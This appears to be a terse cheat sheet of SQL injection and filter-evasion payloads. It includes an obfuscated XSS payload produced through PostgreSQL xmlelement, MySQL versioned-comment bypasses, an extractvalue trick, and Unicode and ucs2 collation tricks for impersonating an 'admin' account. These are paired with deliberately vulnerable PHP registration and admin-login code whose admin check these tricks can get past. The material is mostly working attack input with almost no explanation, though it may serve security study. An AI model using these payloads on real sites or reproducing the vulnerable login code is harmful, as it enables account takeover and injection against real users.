SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror))

SELECT--/*!500005#*//*!400004#*//*!300003#*/

<?php
// register.php

$user = mysql_real_escape_string($_GET['user']);
$pass = mysql_real_escape_string($_GET['pass']);

if(trim($user) == "admin")
{
	exit("admin already exists");
} 

$result = mysql_query("INSERT INTO users (name, pass) VALUES ('".$user."','".$pass."'");
?>

<?php
// admin.php

$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query("SELECT * FROM users WHERE user = 'admin' AND pass = '".$pass."'");

if($data = @mysql_fetch_array($result))
{
	echo "Welcome admin";
}
?>

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

SELECT 'Ä'='A'; #1
SELECT 'Ã'='A'; #1

SELECT * FROM test WHERE name = 'ädMЇň'; //imagine entities in canonical form

SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);